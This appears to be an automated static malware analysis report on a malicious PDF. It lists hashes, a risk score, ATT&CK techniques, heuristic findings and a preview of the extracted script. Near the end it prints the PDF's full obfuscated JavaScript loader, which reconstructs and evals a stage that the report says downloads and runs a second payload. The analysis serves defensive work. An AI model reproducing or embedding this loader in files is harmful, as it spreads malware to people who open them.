Malicious PDF — malware analysis report

Static analysis result for SHA-256 00087ebf427dd374…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-09
MD5: c1319ca8da174f164639e03a9d540431 SHA-1: 6b6af25be66a1ce23207a925a6256c1233bbb70d SHA-256: 00087ebf427dd374835a0ac514e239f4ace38d3154197e74da0d7d6105cd87c3
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a loader, which is designed to download and execute a secondary payload. The script reconstructs a string that appears to be a URL for the payload download. The ML classifier strongly indicates maliciousness, and the presence of obfuscated JavaScript points to a downloader or dropper functionality.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF9B 451 bytes
SHA-256: 79353a80efb5a44deb36a2a07c42d037d14e92aa1ccaf82756e498dec9c7d01a
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
ztxen='';
zbmph=('qwrwqr','tit');
e('nte=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
awhea=e('String.fr'+nte.substr(0,10));
uetxy = e(nte.substr(10)['replace'](/u/g,','));
e('k=uetxy.length');
for (i = 0; i < k; i+=2) {
	nrl = uetxy[i+1] + ('erybjkerl',uetxy[i]);
	ztxen += awhea(nrl);
}
e(ztxen);

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